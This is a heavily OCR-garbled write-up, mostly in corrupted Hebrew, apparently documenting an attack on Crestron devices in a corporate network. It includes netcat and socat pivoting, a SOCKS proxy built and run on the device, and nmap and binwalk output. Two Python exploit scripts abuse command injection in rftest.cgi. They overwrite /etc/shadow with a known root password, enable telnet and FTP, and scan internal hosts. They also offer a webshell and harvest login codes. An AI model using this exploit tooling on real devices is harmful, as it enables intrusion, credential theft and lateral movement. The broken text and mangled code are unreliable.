Address : 198.168.0.145 cont9002.CONTOSO.local
Address : 198.168.0.15 contl1001.CONTOSO.local
Address : 198.168.0.15

Address : 198.168.0.15 contl1004.CONTOSO.local
Address : 198.168.0.144

Address : 198.168.0.123 cont3001.CONTOSO.local
Address : 198.168.0.123 contl003.CONTOSO.local
Address : 198.168.0.15 cont3002.CONTOSO.local
Address : 198.168.0.123

Address : 198.168.0.15

Address : 198.168.0.101 RW2007.CONTOSO.
Address : 198.168.0.104 rw8004.CONTOSO.
Address : 198.168.0.102 RW2008.CONTOSO.
Address : 198.168.0.104 rwo004.CONTOSO.
Address : 198.168.0.100 rwo008.CONTOSO.

O J o U W
O O O OO O oo

eoNeolNeoloNolNoNoNoNoNoNololoNoNoNoNoNoNololNolNelNe)
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Address 33: 198. .0.15 cont1001.CONTOSO.local

Address 34: 198.168.0.105 cont3005.CONTOSO.local

Address 35: 198.168.0.15 contl1002.CONTOSO.local

Address 36: 198.168.0.123 contl001.CONTOSO.local

Address 37: 198.168.0.123 contl1002.CONTOSO.local

Address 38: 198.168.0.15 contl1l001.CONTOSO.local

Address 39: 198.168.0.110 cont4006.CONTOSO.local

Address 40: 198.168.0.100

Address 41: 198.168.0.144 contl001.CONTOSO.local

Address 42: 198.168.0.145 cont7002.CONTOSO.local

Address 43: 198.168.0.145 contl1002.CONTOSO.local

Address 44: 198.168.0.123 contl1002.CONTOSO.local

Address 45: 198.168.0.15

Address 46: 198.168.0.100 cont4005.CONTOSO.local

Address 47: 198.168.0.144 cont7001.CONTOSO.local

[ping -c4 CONTOSO.local] PING CONTOSO.local (192.168.0.123): 56 data
bytes

64 bytes from 192.168.0.123: seg=0 ttl=123 time=1.722 ms
64 bytes from 192.168.0.123: seg=1 ttl=123 time=1.471 ms
64 bytes from 192.168.0.123: seg=2 ttl=123 time=1.524 ms
64 bytes from 192.168.0.123: seg=3 ttl=123 time=1.525 ms
-—— CONTOSO.local ping statistics ---

4 packets transmitted, 4 packets received, s packet loss
round-trip min/avg/max = 1.471/1.560/1.722

29 N N7y N1'Na '"¥n Xan 27un Nty niMmiintn Nty nN7v NUIn NWIY 119 72V nxM

17 0'7aion UDP IR TCP Mia'n oRN

1x1
NINYIN |2 WA7 7'NNNY 117 TWOXR'YW NN 7Y socat 7w ny7un RIN DI 1M9RY [IWRIN 270N
179017 12OV DINIA 7ONW AXN U2 *KAN WA IR DNIK KN 1NN WI9N P70 (91K NINDY

JIMYOR NI'YA ' 73 1007 1D netcat 'T' 7V YXIQ 79011 socat NX7YN .'OVO |DIXA

/usr/bin/nc -1 -p 9999 > /tmp/socat

:socket-n 2"y IMavnl

cat socat | nc -vvv {IP} 9999

DNS fwd/rev mismatch: CrestronHostname != CrestronHostname.CONTOSO.local
CrestronHostname [{IP}] 9999 (?) open

sent 8192, rcvd 0: NOTSOCK

cat: write error: No space left on device

X77 N1 NX'NNNY O Y1) DIZAN 10IN) NX'NAN 7Y DIpn 101N A7V N7W01 DTIRONY NN

WUThn NX'NNN DX 11Y0 .N2'ND NIRYAN

mount o remount,rw /dev/mmcblklp3 /mnt/mmcblklp3
[df -h] Filesystem Size Used Available Use% Mounted

on
/dev/root . 9.3M 0 100% /mnt/.cramfs

* https://github.com/jakev/android-binaries/blob/master/socat
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/dev/mmcblklp2 8M e

mdev 0)Y 4.0K . /dev
/dev/mmcblklp3 1M 9.1M . /mnt/mmcblklp3
/dev/mmcblklpi e 4.0K

/tmp/usb/mmcblklp4

[mount] rootfs on / type rootfs (rw)

/dev/root on /mnt/.cramfs type cramfs (ro,relatime)

/dev/mmcblklp2 on / type ext2 (rw,relatime,errors=continue)

proc on /proc type proc (rw,relatime)

ramfs on /tmp type ramfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

usbfs on /proc/bus/usb type usbfs (rw,relatime)

mdev on /dev type tmpfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=600)

/dev/mmcblklp3 on /mnt/mmcblklp3 type vfat

(ro,relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

/dev/mmcblklp4 on /tmp/usb/mmcblklpd4 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

[ 1s —al /mnt/mmcblklp3] drwxr-xr-x 2 root root 4096 Jan
1 1970

ArwXrwxr—-x 21 1006 1002 4096 Jun 6 18: ..
—IWXIr—XIr—X 1 root root 225285 Jun 16 14: osdimg
—TWXY—Xr-X 1 root root 4 Jun lo6 14: osdsize
—TWXY—Xr-X 1 root root 8388608 Jun 6 18: spi.img
—TWXY—Xr-X 1 root root 921654 Jun 6 18: ulogo.bmp
[mount -o remount,rw /dev/mmcblklp3 /mnt/mmcblklp3]

[mount] rootfs on / type rootfs (rw)

/dev/root on /mnt/.cramfs type cramfs (ro,relatime)

/dev/mmcblklp2 on / type ext2 (rw,relatime,errors=continue)

proc on /proc type proc (rw,relatime)

ramfs on /tmp type ramfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

usbfs on /proc/bus/usb type usbfs (rw,relatime)

mdev on /dev type tmpfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=600)

/dev/mmcblklp3 on /mnt/mmcblklp3 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s508859-
1, shortname=mixed, errors=remount-ro)

/dev/mmcblklp4 on /tmp/usb/mmcblklp4 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

AIY 0N DX 11'01I

/usr/bin/nc -1 -p 9999 > /mnt/mmcblklp3/socat

DNNI NN 7Y NPT NN RN A7WUN .07 D'URD NNRIN 0YARD Y 7Y md5 7w N ,0uon
YN7 J'wnn RINY XTH7 "2 & DY INIR XN XK2N 090N DX 11'7UN )2 IXY . TA1Y KA KIN

JNIX 2NN NN DX TWUR TV Vi

socat TCP-LISTEN:8888, fork TCP:www.morirt.com:80
socat TCP-LISTEN:8889, fork TCP:contoso.local:445

socat TCP-LISTEN:8890, fork TCP:www.contoso.com:80
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awn (1) vadw nnina X7 117 W' DN 10 TR FANY KIN DTN [RA720 701 DNonn TWRD
2TNN TNX 1) NN NAIYN NTRN XN GET-N NIYpa NYWITY ARXIN . TCP NN 71 1NIX

.(WEB nwnnn nXaw 172'7 DX DA VA0 NIYRan X 200

TCP mIa'NY NXAI D'0NISY VN7 D71D' NNIX .N'OPID N1'NAN 'MW DX TV X TN At
YI9O'N MINN ,TR .Y 2 72 K71 TIKA NNWIAR N'RY1 OYO 75 NAIY MTan X ,['7N 91X DAy

XN MY DYNNnYanl 'n"1on '0|7I'15)'7 11Vyan DY D2'"NIT NINY NN'NS 0y |0y

socat TCP-LISTEN:8111, fork, reuseaddr TCP:HTTP PROXY IP:3128

- 7¢ IP-0 N2> 2y HTTP '0pINd 0y N7¢ [9T9TN NN ' TANY NN XAn 27wn .119'0N 1N Nl

JIAINRN N2 'woIN D'WRIA 1INARI 3128 0YID DY TN' Crestron

X7 NN NXP NIXR 7230 1Ty 72X CTING TAN 0T X7n HTTP Proxy NNW .N¥pP 0T NIX DN I'Ydy
N7 TWON'YW X7n SOCKS5 MIw7? DN NN I'wdy nunn X IDE 0'0IID NN'MS N1'NaN DIpY

2 DWY 7T T 73 XIn Microsocks® .NwAn Dy NIrwoini 0'nwn NI ¥R NN

VX211 NNKR O|7IJ"7 ninn NP I'YDY TR

sudo apt-get install libc6-armel-cross libc6-dev-armel-cross binutils-
arm-linux-gnueabi libncurses5-dev # installing components for cross-
compilation

git clone https://github.com/roflOr/microsocks

cd microsocks

# Add the following line to the Makefile (CC = "/usr/bin/arm-linux-
gnueabi-gcc")

ubuntu ~/microsocks > make

"/usr/bin/arm-linux-gnueabi-gcc" -Wall -std=c99 sockssrv.o
sockssrv.c

"/usr/bin/arm-linux-gnueabi-gcc" -Wall -std=c99 =@ server.o
server.c

"/usr/bin/arm-linux-gnueabi-gcc" -Wall -std=c99 =@ sblist.o
sblist.c

"/usr/bin/arm-linux-gnueabi-gcc" -Wall -std=c99 =@ sblist delete.o
sblist delete.c

"/usr/bin/arm-linux-gnueabi-gcc" sockssrv.o server.o sblist.o

sblist delete.o -lpthread -o microsocks

ubuntu ~/microsocks > file microsocks

microsocks: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SY3V),
dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0,
BuildID[shal]=a229ce64c6502847f838bbdfcfb9f05a4d8e7842, not stripped

NI NN 0'0IS NP0 DA XKW 2¥N7 ININ RN 17U DXINE microsocks X NV7Vn ,nTh 27wa

nLUIYS

[/tmp/microsocks -1 —-i 0.0.0.0 -p 9050 -u abc -P passwordl23 & disown]

* https://github.com/roflOr/microsocks
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Did'o

W NDINYT NN7XN1 NINWAN MY 2 WR7 1IN780 DR - DN'RY IND TR

[N 2777 NIn 7Y 2'90N NITI91 NINWA MY 2 TNRYA'N DA .1

N77 DONXY NN IRXYAN I0] X D'N'0AN TINA D'RNIY VIN NP DYAN 0'MY7 pnn nya .2
JIWTN NIDWN 7¢ apnant nTn?n 1'70nn 7270 10T .ima 1701 arl L0

S mmrn" 071pa NNt NdWN NO'EN 127 "nwat noyn 2y apnn N mivawn "mn e .3

nawNNN T DX ,DAVY 70NN DR NNAL NI NN QR Nxn AT MRy alpn 1o
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D'N901

nmap-1 nj?"o0n 7¥ V79N - 'N N90)

Starting Nmap 7.40 ( https://nmap.org ) at 2018-09-19 10:12 SE Asia Standard Time

Nmap scan report for {IP}

Host is up (0.000030s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSTION

80/tcp open http lighttpd 1.4.37

389/tcp open ldap?

443/tcp open ssl/http lighttpd 1.4.37

515/tcp open printer?

1688/tcp open nsjtp-data?

3268/tcp open globalcatLDAP?

8080/tcp open http-proxy?

3 services unrecognized despite returning data. If you know the service/version, please
submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service

NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port515-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEAB%P=1686-pc-windows-windows%r
SF: (NULL, C, "wppib\0\0\x10\0\0\0\0") %r (Help, C, "wppib\0\0\x10\0\0\0O\O0O") %r (LP
SF:DString, C, "wppib\0\0\x10\0\0\0\0") %r (TerminalServer,C, "wppib\0\0\x10\0\
SF:0\0\0") %r (GenericLines, C, "wppib\0\0\x10\0\0\0\0") %r (HTTPOptions, C, "wppi
SF:b\0\0\x10\0\0\0\0") %r (RTSPRequest, C, "wppib\0\0\x10\0\0\0\0") %r (DNSStatu
SF:sRequest,C, "wppib\0\0\x10\0\0\0\0") %r (X11Probe, C, "wppib\0\0\x10\0\0\0\0
SF:") %r (LDAPBindReq, C, "wppib\0\0\x10\0\0\0\0") %r (LANDesk-RC, C, "wppib\0\0\x
SF:10\0\0\0\0") %r (NCP, C, "wppib\0\0\x10\0\0\0\0") %r (WMSRequest, C, "wppib\0\0
SF:\x10\0\0\0\0") %r (afp, C, "wppib\0\0\x10\0\0\0\0O") ;

NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port1688-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEC5%P=1686-pc-windows-windows$%
SF:r (RPCCheck, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0O\O\0O\O\
SF:0\0\0\0\0\0\0\0\0O\O\0O\O\O\O\O\O") $r (SSLSessionReq, 2B, "AudioPro\x14\x10\
SF:x02\0\0\xacD\x20\0\0\0\0\0O\0O\ONO\NO\NONONONONONONONONONONONONONONONONONO"
SF:) %$r (TLSSessionReq, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0
SE:\0\0\0\0\O\NO\O\O\NONO\NO\NONONONONONONO\O") & (Kerberos, 2B, "AudioPro\x14\x1
SF:0\x02\0\0\xacD\x20\0\0\0\O\O\O\NO\NO\NO\NO\NO\NONONONONONONONONONONONONONONON
SF:0") $r (SMBProgNeg, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0O\O\O\NO\NO\NO\NONONONONO\O") $r (FourOhFourRequest, 2B, "AudioPr
SF:0\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0O\O\O\NO\NO\NO\NO\NONONONONONONONONONONON\
SF:0\0\0\0\0") %r (LDAPSearchReq, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0
SE:\0\0\0O\NONO\NO\NONO\NONONONONONONONONONONONONONONONO") & (SIPOptions, 2B, "Aud
SF:10Pro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0O\N0O\O\NO\NO\NO\NONO\NONONONONONONONON\
SF:0\0\0\0\0\0O\0") $r (NotesRPC, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\
SE:0\0\0\0\0\0O\NO\NO\NO\O\NONONONONONONONONONONONONONO") $x (WMSRequest, 2B, "Audi
SF:0Pro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\O\NONO\NO\NONO\NO\NONONONONONONONONO
SF:\0\0\0\0\0\O0") %r (giop, 2B, "AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\O0
SE:\0\0\0\NONO\NO\NONONONONONONONONONONONONONONO"™) ;

NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port8080-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEC7%$P=1686-pc-windows-windows$
SF:r (Socks4,C, "wppib\0\0\x10\0\0\0\0") %r (GenericLines, C, "wppib\0\0\x10\0\0
SE:\0\0") %r (DNSStatusRequest,C, "wppib\0\0\x10\0\0\0\0") %r (Help,C, "wppib\0\
SF:0\x10\0\0\0\0") %r (LPDString, C, "wppib\0\0\x10\0\0\0\0") $r (LDAPBindReq, C,
SF: "wppib\0\0\x10\0\0\0\0") %r (LANDesk-RC, C, "wppib\0\0\x10\0\0\0\0") $r (Term
SF:inalServer,C, "wppib\0\0\x10\0\0\0\0") $r (NCP,C, "wppib\0\0\x10\0\0\0\0") %
SF:r (afp,C, "wppib\0\0\x10\0\0\0\0") ;

No exact OS matches for host (If you know what OS is running on it, see

https://nmap.org/submit/ ).

TCP/IP fingerprint:
:SCAN (V=7.40%E=4%D=9/19%0T=80%CT=1%CU=30146%PV=Y%DS=2%DC=1%G=Y%TM=5BA1BF4
:2%P=1686-pc-windows-windows) SEQ (SP=C4%GCD=1%ISR=C8%TI=Z2%II=1%TS=8)OPS (O1
:=M5B4ST11NW6%02=M5B4ST11NW63$03=M5B4NNT11INW6%$04=M5B4ST11NW6%$05=M5B4ST11NW
:6%06=M5B4ST11)WIN (Wl=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0) ECN (R=
:Y$DF=Y%$T=40%W=16D0%0=M5B4NNSNW6%CC=Y%$Q=) T1 (R=Y$DF=Y%$T=40%S=0%A=S+%$F=AS%R
:D=0%Q=) T2 (R=N) T3 (R=N) T4 (R=N) T5 (R=Y$DF=Y3T=40%W=0%S=Z2%A=S+%F=AR$0=%RD=0%Q
:=)T6 (R=N)T7 (R=N) Ul (R=Y$DF=N$T=40%IPL=164%UN=0%RIPL=G%RID=G$RIPCK=G%RUCK=
:G%RUD=G) IE (R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
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seconds

10:44 UTC

2 ports]
0.00s elapsed (1 total hosts)

.0.0.1)
/tcp on 127.0.0.1
3/tcp on 127.0.0.1

5o

5432/tcp on 1
open port 3333/tcp on 12
Connect Scan at 10:44, 0.03 psed (1000 total ports)

ul

open port

a
27
2

O U -

O O O
® O O

(e}

postgre
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Binwalk 7w V790 - "2 n®0)

HEXADE

ian,
CRC 0x904C4F6B, edition 0, 11169 blocks, files
0x1D00200 ulmage header, header si
created: 2015-06-18 09 00, im
0x8000, data CRC: 0x240A125D, OS: Linux,
pression type: none, image name: "Linux-: -default"”
0x1D00240 Linux kernel ARM boot executable zImage (little-endian)
0x1D03311 gzip compressed data, maximum compression, from Unix, last

Certificate in DER format (x509 v3),
DER format (x509 v: header length:
U-Boot version string, "U-Boot 1.1.4 (Mar 6 2012

0x1FB81EO polynomial table, little

0x1FB86AO C32 polynomial table, little
0x1FD0346 U-Boot v ion string, "U-Boot

0x1FDO3F7 U-Boot versi string, C 1.1.4 (May
0x1FD0555 U-Boot string, "U-Boot 1.1.4 (May 2
0x1FDO060B U-Boot versi stri "U-Boot .1.4 (May
0x1FD064B U-Boot string, "U-Boot 1.1.4 (May
0x1FE0346 U-Boot versi strinc "U-Boot .1.4 (Mar
0x1FEQO3F7 U-Boot version string, "U-Boot 1.1.4 (May
0x1FEO0555 U-Boot version stri "U-Boot 1.1.4 (May 2
0x1FE060B U-Boot version string, "U-Boot 1.1.4 (May

0x1FEO064B U-Boot version string, "U-Boot 1.1.4 (May
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Remote Code Execution - 'A n902

#!/usr/bin/env python3

import re

import ssl

import json

import socket

import urllib.parse
import urllib.request

from requests.utils import quote

SSL_PORT = 443

SSL PREFIX = "https://"

HOST = "{IP}"

TOKEN = "xxx"

PATH = "/cgi-bin/rftest.cgi"

HEADER DYNAMIC = [
r' (Date\:\s.+20.+GMT) "', r' (Expires\:\s.+20.+GMT)"

1

HEADER STATIC = [
'Connection: close', 'Transfer-Encoding: chunked',
'Content-Type: text/html', 'X-XSS-Protection: 1; mode=block',
'Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800'",
'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload',
'X-Frame-Options: sameorigin', 'Connection: close', 'Server: lighttpd/1.4.37'

]

ssl. create default https context = ssl. create unverified context
socket.setdefaulttimeout (10)

def parse output (header, body) :
# Handle the Headers
header temp = header
for r in HEADER STATIC:
header temp = header temp.replace(r, "")
header temp = header temp.strip ()

# Handle the Body
body temp = body[:body.find ("<!DOCTYPE html PUBLIC") ]
for r in HEADER STATIC:
body temp = body temp.replace(r, "")
body temp = body temp.strip()

# Conjoin and remove dynamic headers:
all temp = header temp + body temp
for reg in HEADER DYNAMIC:

all temp = re.sub(reg, '', all temp)

# Cleanup on isle [:-4]!

if all temp[-4:] == "1024":
all temp = all temp[:-4]

elif all temp[-4:] == "0feb5":
all temp = all temp([:-4]

return all temp.strip()

send request (command="1s") :

data = {
"ATE COMMAND": "REPLACEME",
"ATECHANNEL": "",
"ATETXLEN": "",
"ATETXCNT": "",
"ATETXMODE": "",
"ATETXBW": "",
"ATETXGI": "",
"ATETXMCS": "",
"ATETXANT": "",
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"ATERXANT": "",
"ATERXFER": "",
"ResetCounter":
"ATEAUTOALC": "",
"ATETIPG": "",
"ATEPAY Wg WD,
"ATE": " ONT"

nn
’

rtes (urlli arse.urlen
s

ta.replac ("REPLACEME" .en s (quote (command,
))

)
r1lib.request.urlopen (' ? % (SSL PREFIX, HOST, PATH, TOKEN),

ndler.read()
handler.heac So
resp body

(command)
output (head, body)
\x1b [0;: 40m" + output + "\x1b[O0m")
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AN'M 71311 n7102177 - T ND0)

#!/usr/bin/python

import re
import ssl
import sys
import time
import socket
import random
import ftplib
import urllib
import inspect

try:

import httplib
except:

pass
import telnetlib

# Globals

SSLPORT = 443

PORT FORWARING BINARY = 'portforward'
BANNER = ""
socket.setdefaulttimeout (5)

def FTPUpload(host, file path):
try:
fh = open(file path, 'rb')
except:
__print ("Could not find file %s" % file path, 2)
return False

if "/" in file path:

file name = file path.split ("/") [:-1]
else:

file name = file path

try:
session = ftplib.FTP (host, 'root', ''")
session.storbinary ('STOR /mnt/%$s' % file name, fh)
fh.close ()
session.quit ()
__print ("File
return True
except:
__print("Failed to upload file '$s'" % file name, 2)
return False

$s' uploaded to '/mnt/%$s'" $ (file path, file name), 1)

__print (text, level=0):
wun
= No texting
= Good!
= Bad
wan
GREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m"'
if level == 0:
sys.stdout.write (" [ ]1\t[%s] %s.\n" % (inspect.stack()[1l][3], text))
return True
elif level ==
sys.stdout.write("ss[+]%s\t[%s] %s.\n" % (GREEN, ENDC, inspect.stack()[1][3], text)
return True
elif level ==
sys.stdout.write("ss[-1%s\t[%s] %s.\n" % (FAIL, ENDC, inspect.stack() [1
return True
else:
return False

TelnetCommand (host, command) :
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user = "root"
password = "toor"
try:
tn = telnetlib.Telnet (host)
tn.read until ("login: ")
tn.write (user + "\n")
if password:
tn.read until ("Password: ")
tn.write (password + "\n")
tn.write ("%$s\n" % command)
tn.write ("exit\n")
except:
__print ("Telnet failed. Have you opened it?", 2)
return False
try:
output = str(tn.read all())
start = output.find("# %s" % command) + len(command) + 2
end = output.find("# exit") - 1
return output[start:end]
except:
~_print ("Command was executed but got no output", 1)
return True

testPort (host, port):

try:
sock = socket.socket ()
sock.connect ( (host, port))
sock.close ()
return True

except:
return False

def sendCommand (host, command) :
actual data = {
'ATE _COMMAND': command,
'ATECHANNEL': "",
'ATETXLEN': "",
'ATETXCNT': "",
'ATETXMODE': "",
'ATETXBW': "
TATEIRETL " g 77,
'"ATETXMCS': "",
'ATETXANT': "",
'ATERXANT': "",
'ATERXFER': "",
'ResetCounter': "",
'ATEAUTOALC': "",
'"ATEIPG': "",
'ATEPAYLOAD': "",
'ATE': "TXCONT"
}
params = urllib.urlencode (actual data)
headers = {
"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain"}
try:
conn = httplib.HTTPSConnection ("%s:443" % host, context=ssl. create unverified context())
conn.request ("POST", "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html", params, headers)
except:
__print ("Error connecting to %s:443. Are you sure it's open?" % host, 2)
return False
try:
response = conn.getresponse ()
data = response.read()
except ssl.SSLError as e:
if "&" in command:
return False
else:
__print ("Timeout for executing command '%s' on host '
return False
conn.close ()
retme = data[:data.find("Content-Type: text/html")]

[} [}

3s'" % (command, host))
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if "<input type=\"button\" value=\"Stop\" onClick=\"Stop();\" />" in retme:
return ""

else:
return retme

def startTelnet (host):

if testPort (host, 23):

__print ("Port 23 already open on host '%s'" % host, 0)

return
else:

print ("Telnet services seemed closed on '$s'. Trying to start it now" % host)

_sendCommand (host, "mount -o remount,rw /")
_sendCommand (host,

"echo
'root:$6$4TUgmr1lm$BnnELTN1V8EcmeN . dmOtXKyFZgEH8ve 9GMEJ3AgXxBODe /BZXC7kW3d. tt0esADRHksyHmHt
mrj6Gl50c9E670:17156:0:99999:7:::' > /etc/shadow")

_sendCommand (host, "/usr/sbin/telnetd start")

if _testPort (host, 23):
__print ("Telnet service had been enabled on %s. Credentials are root:toor" % host,

else:
__print ("Telnet service had NOT been enabled on %s" % host, 2)
return

def startFTP (host):
if testPort (host, 21):
__print ("Port 21 already open on host
return
else:
print ("FTP services seemed closed on '$s'. Trying to start it now" % host)
_TelnetCommand (host, "tcpsvd -vE 0.0.0.0 21 ftpd -w / &")
if testPort (host, 21):
__print ("FTP service had been enabled on %s. No credentials required" % host, 1)
else:
__print ("FTP service had NOT been enabled on %s" % host, 2)
return

19

3s'" % host, 0)

_ChangeBanner (host, new banner) :
_sendCommand (host, "echo %s > /etc/motd" % new banner)
return

def SetupForwarding(to host, from host):
if testPort (from host[0], 21):
ftp = True
else:
__print ("Please enable FTP service before continuing"”, 2)
return False

if testPort (from host[0], 23):
telnet = True

else:
__print ("Please enable Telnet service before continuing"”, 2)
return False

_FTPUpload (from host[0], PORT FORWARING BINARY)
output = TelnetCommand (from host[0], 'chmod +x /mnt/portforward')
output = TelnetCommand (from host[0], '/mnt/portforward %s %s %s &' % (from host[1],
to host[0], to host([1]))
time.sleep (1)
if testPort (from host[0], int (from host([1])):
__print(
"Port forwarding from ==> s is enabled" % (from host[0],
from host[1], to host[0], to host[1]), 1)
return True
else:
__print ("Port forwarding from s Failed" % (from host([0],
from host[1], to_host[0], to_host[1l]),
return True
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def PortScan(creston host, ip to scan, ports=([22, 21, 23, 135, 139, 445, 88, 80, 443],

verbosity=True) :

print ("Starting port scan from '$s' on '

for port in ports:

o o

3s'" % (creston host, ip to scan))

1o

a = _sendCommand (creston_host, 'nc -wl %s %s' % (ip_to_scan, port))

if "nc: timed

out" in a:

if verbosity:
__print (" s is closed" % (ip_to_scan, port), 2)

elif a

[

if verbosity:
print (" s is probably closed" % (ip to scan, port), 2)

else:
__print ("

__print ("Port scan on '%s' done"

return True

[

s is open" % (ip to scan, port), 1)
% ip_to_scan)

_Resolve (host, dns_ name) :

command = "ping -c 2 %s " $ (dns name)

output = TelnetCommand (host=host, command=command)

ip candidates = re.findall (r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", output)

if ip candidates:
output = set ()

for x in ip candidates:
output.add (x)

__print ("DNS '

return True
else:

__print ("Could not resolve

return False

%s' was resolved to '$s' by '%s'" % (dns name, list (output), host),

19

3s' with '$s'" % (host, dns name), 2)

_setCodeHarvestingOn (host) :

__print ("Starting
bash script = ["#!

to upload file and save script", level=0)
/bin/sh",

"while true",
" do " ,

/home/http/code.html",

echo '<HTML><head><title>Code Service</title></head><body><hl>"' >

grep RefreshlLoginCode /mnt/loggy.log >> /home/http/code.html",
echo '</hl></body></html>' >> /home/http/code.html",
sleep 5",

"done"

]

_sendCommand (host,
_sendCommand (host,
time.sleep (5)

_sendCommand (host,
_sendCommand (host,

"/mnt/wpsd/stopWPSD.sh")
"rm /mnt/loggy.log")

"/mnt/scdecapp &> /mnt/loggy.log")
"echo \"\" > /mnt/documenter.sh")

for line in bash script:
_sendCommand (host, "echo \"%s\" >> /mnt/documenter.sh" % line)

__sendCommand (host,
return

o

"sh /mnt/documenter.sh &")

_initializeCompromise (host) :

_startTelnet (host)
_startFTP (host)
return

main () :
MY HOST = "10.120.
__print ("Welcome.

198.145"
I will initialize compromise now on %s" % MY HOST, O0)

~initializeCompromise (MY HOST)
__print ("Host %s is ready for your commands" % MY HOST, 1)

non

Available stuff:

_FTPUpload (MY

HOST, 'portforward')

ChangeBanner (MY HOST, "Hello World!")
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_PortScan (MY HOST, '192.168.1.1', verbosity=False)

_setCodeHarvestingOn (MY HOST)

_sendCommand (MY HOST, 'echo ‘ping -c 1 contoso.local’ > /tmp/ipresolution')
SetupForwarding (to host=('192.168.1.1", 443), from host=(MY HOST, 9999)

StartTerminal () :
variables = {}
print (BANNER)
while True:
date time = time.strftime ("%d/%m/%$Y-%H:%M:%S")
SHABANG = "\033[94m%s #>\033[0m " % date time
try:
req = raw_input (SHABANG)
except KeyboardInterrupt:
print ("")
__print ("Geeez, don't be an ass. Use 'exit' or 'quit' next time
sys.exit (0)

if reqg.strip() in ['quit', 'exit']:
__print ("Goodbye..", 0)
print ("")
sys.exit (0)

elif reqg.strip() == 'telnet':
try:
host = variables['host']
except:
try:
host = variables['HOST']
except:
print("‘{ou must specify a 'HOST' variable with the 'set' command", 2)
continue
_startTelnet (host)
continue

elif reqg.strip() == 'webshell':
try:
host = variables|['host']
except:
try:
host = variables['HOST']
except:
77print<"you must specify a 'HOST' variable with the 'set' command", 2)
continue
while True:
date time = time.strftime ("%d/%m/%Y-%H:%M:%S")
shaby = "#> "
try:
req = raw_input (shaby)
except KeyboardInterrupt:
__print ("Breaking from webshell", 0)
break
cmd = req.strip/()
if cmd == 'quit' or cmd == 'exit':
print ("\tExiting from shell")
break
else:
cmd output = sendCommand (host, cmd)
output = cmd output.split ("\n")
for line in output:
print ("\t%s" $ line)
continue
elif reqg.strip() == 'run':
try:
host = variables['host']
except:
try:
host = variables['HOST']
except:
77p]fiﬂt("\(ou must specify a 'HOST' variable with the 'set' command", 2)
continue
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try:
command = variables|['command']
except:
try:
command = variables|['COMMAND' ]
except:
77priﬂt("You must specify a 'command' variable with the 'set' command", 2)
continue
__print ("\n%s\n" % sendCommand (host, command), 1)
continue

elif reqg.startswith("forward "):
try:
host = variables|['host']
except:
try:
host = variables['HOST']
except:
77print ("You must specify a 'HOST' variable with the 'set' command", 2)
continue
no cmd = req.strip() [len("forward ") :]
try:
from port, to host, to port = no cmd.split(" ")
int (from port)
int (to port)
except:
if reqg.strip() == "forward killall":
_sendCommand (host, 'pkill portforward')
print ("Killed all forwarders", 1)
else:
~_print ("Please use like; 'forward 2225 10.0.0.138 80'", 2)
continue

_SetupForwarding (to host=(to host, to port), from host=(host, from port))
continue

elif req.strip() == "code harvester":
try:
host = variables['host']
except:
try:
host = variables['HOST']
except:
77print<"you must specify a 'HOST' variable with the 'set' command", 2)
continue
_setCodeHarvestingOn (host)
continue

elif reqg.startswith("run "):
try:
host = variables['host']
except:
try:
host = variables['HOST']
except:
77priﬂt ("You must specify a 'HOST' variable with the 'set' command", 2)
continue
__print ("\n%s\n" % sendCommand (host, req[4:].strip()), 1)
continue

elif reqg.startswith("telnet run "):
try:
host = variables['host']
except:
try:
host = variables['HOST']
except:
77priﬂt ("You must specify a 'HOST' variable with the 'set' command",
continue
__print ("\n%s\n" % TelnetCommand (host, reg[len('telnet run '):
continue

elif reqg.strip() == 'ftp':
try:
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= 'set' command"”, 2)

elif reqg.strip() == "":
# Command is empty
ntinue

elif reqg.strip() .startswith("set "):
try:
req.replace("set ", "")
al:a.find("™ ")]
ala.find ("™ ") + 1:]
value
(var name, var value), 1)

("Use 'set' like 'set HOST 192.168.1.1'", 2)

elif req.strip() == "show":
for key, = in variables.i
i '\033[1m%s\033

tems
[Om'

== 'help':
ne of the following:")
key value - to set variables.")
'\ttelnet - will attempt to exploit and start telnet service.")
"\ttelnet run - will run a command via telnet.")
"\trun - will run a command via webshell.")
'f

